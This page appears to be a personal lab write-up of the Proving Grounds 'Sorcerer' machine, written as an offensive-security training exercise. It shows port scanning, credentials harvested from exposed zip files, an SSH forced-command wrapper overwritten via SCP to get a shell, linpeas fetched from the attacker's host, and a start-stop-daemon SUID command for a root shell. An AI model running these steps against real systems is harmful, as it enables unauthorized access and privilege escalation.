fg0x0's notes
  • 👀Introduction
    • 🏴‍☠️About me
  • 👾offensive-security
    • 🐲OSCP
      • 🛡️Active Directory ( OSCP )
    • ⛓️OSEP
    • 🕸️OSWE
    • 🌌PG-Practice
      • 🏴‍☠️Warm UP
        • 🐧ClamAV
        • 🪟Algernon
        • 🪟Helpdesk
      • 🏴‍☠️Get to Work
        • 🪟Hutch
        • 🪟Jacko
        • 🪟Shenzi
        • 🪟Slort
        • 🐧Postfish
        • 🐧Pelican
        • 🐧Quackerjack
        • 🐧Snookums
        • 🐧Sorcerer
        • 🐧Walla
        • 🐧ZenPhoto
        • 🐧Zino
      • 🏴‍☠️Try Harder
        • 🐧Peppo
        • 🐧Sirol
      • 🏴‍☠️Retired Play Machines
  • 🚩Red Team
    • ☢️Active Directory Exploitation
      • ⚔️Domain Enumeration
      • ⚔️Local Privilege Escalation
    • 👿Red Teaming Zero to Hero
    • 👿Red Teaming All The Things
    • 🕸️Web Exploitation
      • ⚔️XSS (Cross-Site Scripting)
      • ⚔️Remote File Inclusion
      • ⚔️HTML smuggling
    • 💀Binary Exploitation
      • ⚔️Buffer Overflow
      • ⚔️Return Oriented Programming ( ROP )
      • ⚔️Binary Security
      • ⚔️Format String Vulnerability
      • ⚔️Registers
    • ☠️Exploit Development
      • ⚔️Macro Shellcode
      • ⚔️Payloads
  • 🏳️Blue Team
    • 🔍Digital Forensics
    • 🔐Cryptography & Math
      • ⚔️OpenSSL
    • ⏪Reverse Engineering
  • 🏴‍☠️ctf
    • 🏇Haruul Zangi
      • 🏴HZ-2018
        • ⚔️Final-Shao Kahn
      • 🏴HZ-2019
        • ⚔️Final-Уртасгасан-Хээээээээээээээээш
        • ⚔️Final-Skywalker-sage-info
        • ⚔️Round-1-Very Secure LDAP
        • ⚔️Round-1-Web Warmup
      • 🏴HZ-2020
        • ⚔️Round-1-websploit1
        • ⚔️Round-1-websploit2
        • ⚔️Round-1-websploit3
      • 🏴HZ-2021
        • ⚔️Final-Screenshot 1,2
        • ⚔️Final-Orb
      • 🏴HZ-2022
        • ⚔️HZ-2022-Final-You Have Been Hacked
        • ⚔️HZ-2022-Final-Breaking News
        • ⚔️HZ-2022-Final-Todo
        • ⚔️HZ-2022-Final-Subway Surfers
        • ⚔️HZ-2022-Round-2-Spike-Boom-!!!
      • 🏴HZ-2023
        • 👻Round-1
        • 👻Round-2
        • 👻Round-3
          • 🦆Ducky Notes
          • 🚋Aylagch
          • 🔻Web Downchecker
          • 🔑Password Manager
      • 🐣HZ-U18-2023
        • 🔍Forensics
        • ☄️Trivia
        • 🕸️Web
        • 🔢Crypto
        • 🌏Misc
      • 🏴HZ-2024
        • Round-1
          • M4th
        • Round-2
          • Enigma
        • Final-Round
          • 💀heavy one ( forensics )
    • 🏴‍☠️Other CTF
      • 🏜️Shambala-2056
        • 🇦🇷Argentina-PWN (pwn1)
        • 🇪🇬Egypt-Forensics (spectre)
      • 🏴‍☠️SICT CTF
        • 🎮null
      • 🌏Asian Cyber Security Challenge
        • 🌏ACSC ( 2023 )
          • 🏴‍☠️Merkle Hellman ( Cryptography )
          • 🏴‍☠️easySSTI ( Web Exploitation )
          • 🏴‍☠️Hardware is not so hard
  • 🧊HackTheBox
    • 🪟Windows Machine
      • 🤕Support
      • ❌Escape
      • ✈️Flight
      • ☢️Active
    • 🐧Linux Machine
    • ☠️Other Platform Machines
      • ⚔️HMV-Alzheimer
      • ⚔️HMV-BaseME
      • ⚔️HMV-doc
    • Web Exploitation
      • 👽Flask SSTI
        • Templated
        • baby interdimensional internet
        • 👽baby todo or not todo
        • Slippy ( Jinja2 )
      • Injection
        • 👽Phonebook ( LDAP Injection )
        • sanitize ( SQL Injection )
        • Weather app ( SQL Injection )
        • Intergalactic Post ( php filter SQLi )
        • C.O.P ( SQL injection + Revshell )
      • 💥Prototype Pollution
        • ☠️baby breaking grad
      • 😵‍💫insecure deserialization
        • 👽baby website rick ( insecure deserialization )
      • XSS
        • 👽Full Stack Conf (Cross-Site Scripting)
        • AbuseHumandb ( XSS Puppeteer )
        • Kryptos Support ( XSS+IDOR )
        • Felonious Forums ( XSS, Cache Poison, Directory Traversal )
      • 👾Symfony
        • 💀baby bonechewercon ( Symfony )
      • 👥XXE
        • 🤙baby WAFfles order
      • Ping submit hiideg
        • Looking Glass ( Ping )
      • RCE
        • LoveTok ( RCE )
        • Neonify ( RCE )
        • Amidst Us ( image+RCE )
        • Letter Despair ( PHP + RCE )
        • Debugger Unchained ( SQLi+RCE )
      • LFI
        • toxic ( LFI )
      • File Upload
        • petpet rcbee ( file upload )
      • URL submit hiideg
        • baby CachedView ( URL submit hiideg )
      • Invoice ilgeedeg
        • Blinker Fluids
      • HTTP2 smuggling
        • PhishTale ( HTTP2 smuggling, Twig N-Day )
    • Forensics
  • 💀Synack Red Team
    • ☠️DC-1 ( kh )
    • ☠️DC-2 ( kh )
    • ☠️DC-3 ( kh )
  • dursamj
Powered by GitBook
On this page
  • Sorcerer
  • Nmap
  • HTTP
  1. offensive-security
  2. PG-Practice
  3. Get to Work

Sorcerer

PreviousSnookumsNextWalla

Last updated 1 year ago

Sorcerer

Nmap

sudo nmap 192.168.150.100 -p- -sS -sV                                                                                                                                                                                              1 ⨯

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http     nginx
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs_acl  3 (RPC #100227)
7742/tcp  open  http     nginx
8080/tcp  open  http     Apache Tomcat 7.0.4
43329/tcp open  nlockmgr 1-4 (RPC #100021)
45519/tcp open  mountd   1-3 (RPC #100005)
54375/tcp open  mountd   1-3 (RPC #100005)
55683/tcp open  mountd   1-3 (RPC #100005)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

We have HTTP running on ports 80,8080 and 7742. I set to work running feroxbuster against all three ports before manually browsing them.

./feroxbuster -u http://192.168.150.100:<port> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Port 80 shows a page with only '404 not found' displayed. Port 8080 takes us to Apache Tomcat/7.04.

The link for the Manager App did not ask for authentication credentials like it normally does. It does provide us with an Access Denied page and also displays the Tomcat default credentials of tomcat:s3cret.

We can store these later and possibly run these credentials against nikto or gobuster to see if we can enumerate further directories if required.

Port 7742 takes us to the following login page which contains no identifying information apart from the name 'SORCERER' in the browser tab.

Soon after feroxbuster picks up the /zipfiles/ directory. On browsing to this, we find the following files.

I downloaded the zip files which are not encrypted and browsed through each with the GUI. The max.zip folder contained the most interesting information.

The Tomcat files contain credentials for Tomcat.

  <role rolename="manager-gui"/>
  <user username="tomcat" password="VTUD2XxJjf5LPmu6" roles="manager-gui"/>
</tomcat-users>

We also have SSH keys for Max.

I changed the permissions of the id_rsa file to 600 so we can use it for SSH.

chmod 600 id_rsa 

Looking at the authorized keys files we can see that the file scp_wrapper.sh is being used as a force command when a user connecting to SSH.

The contents of scp_wrapper.sh

This means when connecting as the user max to SSH we can only execute commands that start with 'scp'. As SCP runs over SSH we can use id_rsa file from Max to connect and overwrite the wrapper file with something more useful such as 'bash' instead of 'scp'.

I edited the scp_wrapper.sh file to include the command 'bash' and changed the error message for troubleshooting purposes.

I then moved Max's 'id_rsa' key into my SSH folder on /home/kali/.ssh/ in preparation for connecting to SCP.

Once completed connect by SCP and transfer over the wrapper file on our desktop.

scp /home/kali/Desktop/scp_wrapper.sh max@192.168.196.100:/home/max/scp_wrapper.sh

We can then SSH in as max and will have a bash shell.

ssh max@192.168.196.100  

Upgrade the shell:

/usr/bin/script -qc /bin/bash /dev/null

Straight away I uploaded linpeas.sh it after starting Python SimpleHTTPServer on my attacking machine and executed once downloaded.

Linpeas soon picks up the SUID bit being set on /usr/sbin/start-stop-daemon.

Exploit syntax:

/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p

A search on shows we can spawn a root shell.

👾
🌌
🏴‍☠️
🐧
GTFObins